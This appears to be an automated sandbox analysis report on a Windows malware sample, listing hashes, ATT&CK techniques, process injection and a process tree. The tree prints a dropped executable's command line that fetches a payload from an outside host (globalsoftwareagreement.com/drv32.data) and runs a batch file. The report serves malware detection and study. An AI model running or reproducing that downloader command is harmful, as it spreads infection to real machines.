13a3b265680aad3d08a121e15fe0bf67578a5788c1cc00906aa52affb96fec24

Analysis

max time kernel
147s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
29/02/2024, 08:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ae19df8096df6be8d589902eb85de9c8.exe
Size 95KB
Sample240229-j4j61sbc21
SHA256 13a3b265680aad3d08a121e15fe0bf67578a5788c1cc00906aa52affb96fec24
MD5 ae19df8096df6be8d589902eb85de9c8
SHA1 2321b6f919445a9f03bdb66aaa1c33cdff5022cb
SHA512 6ca4c8e71c76b2f1bc2fdb210c45861e3b6d76ef69c99e4a72da2b0b03f256770bbff464ee78f724e99ddf0845c394975629242d8ee9496d11c68da2a041e679
SSDEEP 1536:5I1L0dgy+TjExryTWrbpV10mF9n4/ZCR3dFXDUGrYy+B1uidydiQM0/eVg4sS:YL9yUEFNPpNYMRNlDrN+BUdiimrJ
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation	ae19df8096df6be8d589902eb85de9c8.exe

Executes dropped EXE 1 IoCs

pid	Process
5108	A6E4B-tmp.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 452 wrote to memory of 5108	452	ae19df8096df6be8d589902eb85de9c8.exe	88
PID 452 wrote to memory of 5108	452	ae19df8096df6be8d589902eb85de9c8.exe	88
PID 452 wrote to memory of 5108	452	ae19df8096df6be8d589902eb85de9c8.exe	88
PID 452 wrote to memory of 940	452	ae19df8096df6be8d589902eb85de9c8.exe	93
PID 452 wrote to memory of 940	452	ae19df8096df6be8d589902eb85de9c8.exe	93
PID 452 wrote to memory of 940	452	ae19df8096df6be8d589902eb85de9c8.exe	93

C:\Users\Admin\AppData\Local\Temp\ae19df8096df6be8d589902eb85de9c8.exe
"C:\Users\Admin\AppData\Local\Temp\ae19df8096df6be8d589902eb85de9c8.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:452
- C:\Users\Admin\AppData\Local\Temp\A6E4B-tmp.exe
  "C:\Users\Admin\AppData\Local\Temp\A6E4B-tmp.exe" http://globalsoftwareagreement.com/drv32.data "C:\Users\Admin\AppData\Local\Temp\A6E4B-tmpa"
  2⤵
  - Executes dropped EXE
  PID:5108
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\smp.bat" "
  2⤵
  PID:940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

A6E4B-tmp

Path C:\Users\Admin\AppData\Local\Temp\A6E4B-tmp
Size 115KB
SHA256 8d27fb80131d98489bc6464c58617efaaa4262c869d9c9042e78932118649bed
MD5 7dd2a8fcdb88fd3f28a0d4b9f9dcd974
SHA1 ca7b820b000a2d3caa5c5db07a98e06531ba45c6
SHA512 6b9f2e6259decd09f39f08f7325cb92a33ca726a40e018d69ac04da4a653c3cc0364c1818a88cb24a62637c333219c8fc5e6e4222ca461a259f0ffbbfb3b6f6a
SSDEEP 3072:S1qV7bUVbQRH88a9H1kHFod7nDxvSsC9:aqlUFF8a9q2drDo
MD5 SHA1 SHA512 SSDEEP

Submit Download

smp.bat

Path C:\smp.bat
Size 52B
SHA256 3e4768f6ffe07c5520ec6a5e283c5e0fa18b1441505bd764c4b598bdbbdc6526
MD5 edcb23d88089e20020bc8e84723158e6
SHA1 6ecce991f1fa37be4fef19c75d01f263a44d78c6
SHA512 1de3a429152a376807b05486158160a0329feb42b28789a52a60376d67aeba33ba34165d0297ffc6af0c48367c4f8011900fe15a74ce1a6f04af12a303f8773d
MD5 SHA1 SHA512